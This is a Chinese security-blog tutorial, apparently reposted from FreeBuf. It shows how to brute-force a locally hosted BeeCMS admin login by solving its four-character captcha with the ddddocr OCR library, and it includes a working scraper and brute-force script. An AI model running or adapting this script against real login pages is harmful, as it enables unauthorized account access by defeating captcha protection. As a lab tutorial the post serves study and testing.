前言
在常规的爆破工作中，如果网站的验证码无法绕过，这个时候就需要用到验证码的自动识别来辅助我们的爆破工作，本文将以最常用的数字加字母组合的4位验证码进行探讨，用到的实验环境是python的ddddocr库和beecms，关于beecms的代码审计，可以参考这位师傅的文章，
https://www.freebuf.com/articles/web/340978.html关于环境的搭建也不在复述。
机器学习用于验证码的识别
在用于普通的字母加数字的组合验证码识别时，可以利用knn算法做一个识别，大概步骤如下：
1.爬取网站验证码图片；
2.对验证码图片进行处理，去除背景噪声，完成图片灰度化，字符串切割；
3.利用knn算法进行训练，利用训练好的模型文件去预测新的验证码。
本地搭建的环境如下：
验证码获取
通过编写爬虫获取一定量的验证码图片
代码实例import requestsurl = "http://localhost/beecms/admin/admin_code.php" # 爬取网站# 爬取100张验证码for i in range(1, 101):get_img_response = requests.get(url) # 发送一个get请求img_data = get_img_response.contentwith open("img/%d.png" % i, 'wb') as fp:fp.write(img_data)print("爬取结束！")
爬取的图片
然后对图片进行“肉眼识别”并标记
但是做到这一步的时候也出现了一些问题，
比如数字“9”和字母“g” 应该怎么去判断
例如
我也尝试过看登录页面存在 9 和 g的情况去分辨差别在哪，但好像不是很明显。
其次在进行分割图片时，因为验证码的字符不是在规定区域内，可能会多个挤在一起，偏左或者偏右等情况，导致切割的字符串效果不太理想，这里就不放代码演示了。
有些切割到了，有些却没有，这会给后面的训练造成影响。
这时ddddocr库给我们解决了这个复杂的问题，这个库包含了很多关于验证码识别的已经训练好的数据模型，直接拿来用就可以了。
首先本地测试一下，
首先创建一个DdddOcr对象，然后调用classification去自动识别
import ddddocrocr = ddddocr.DdddOcr()with open("5a4c.png", "rb") as f:im = f.read()r = ocr.classification(im)print(r)
随便挑一张进行验证
（不过我后续进行关于字母 “g”和数字“9”的时候还是有些偏差）
可以进行识别，那就下来就进行爆破脚本的编写。
脚本编写
首先登录的请求的url是这个
http://localhost/beecms/admin/login.php?action=ck_login获取验证码的url是这个
http://localhost/beecms/admin/admin_code.php可以看到请求参数并没有加密，那现在我们需要做的就是将code参数利用上面的ddddocr库去请求获取验证码的url识别并赋值，大致流程就是去请求这两个url，然后编写post请求去尝试登录，最终代码如下：
import ddddocrimport requestsusername = ["aaa", "ccc", "admin"]password = ["111", "admin"]docr = ddddocr.DdddOcr()header = {"Content-Type": "application/x-www-form-urlencoded"}code_url = "http://localhost/beecms/admin/admin_code.php"target_url = "http://localhost/beecms/admin/login.php?action=ck_login"response = requests.get(code_url)img_str = docr.classification(response.content)for u in username:for p in password:img_str = docr.classification(response.content)post_data = {"user": u,"password": p,"code": img_str,"submit": "true","submit.x": "32","submit.y": "38"}data = requests.post(target_url, data=post_data, headers=header, cookies=response.cookies)print("正在爆破用户名 " + u + " " + "密码 " + p)print(len(data.text))if len(data.text) > 10000:print("爆破成功！！" + "用户名 " + u + " " + "密码 " + p)breakprint("爆破结束")
username和password可以换成自己的字典，这里的话账号密码默认为admin/admin，
其中有几点需要注意：1.登录失败会有4秒左右时间退回到登录页面，所以脚本运行时间较长；2.还是上文数字"9"和字母“g”的问题，需要多爆破几次；3.我判断是否登录成功利用返回包长度是否大于10000去判断；4.post请求携带cookie是因为如果不携带，相当于打了两次请求过去，会出现验证码不同步的情况，所以需要将访问获取验证码请求的cookie加到post请求里。
这里附上爆破的结果
脚本有些小瑕疵。。。。后面在慢慢完善吧。
结尾
利用ddddocr库可以很方便快捷的实现验证码的识别，这个库还可以识别滑动解锁，选字填充等其他类型验证码的识别，后续遇到如果遇到的站点有这样的验证码，再继续尝试吧。
参考资料：https://www.freebuf.com/articles/web/340978.htmlhttps://wenanzhe.com
作者：Ordinaryzyx，文章转载于FreeBuf
END
• 往期精选
下方点击关注发现更多精彩
如有侵权请联系:admin#unsafe.sh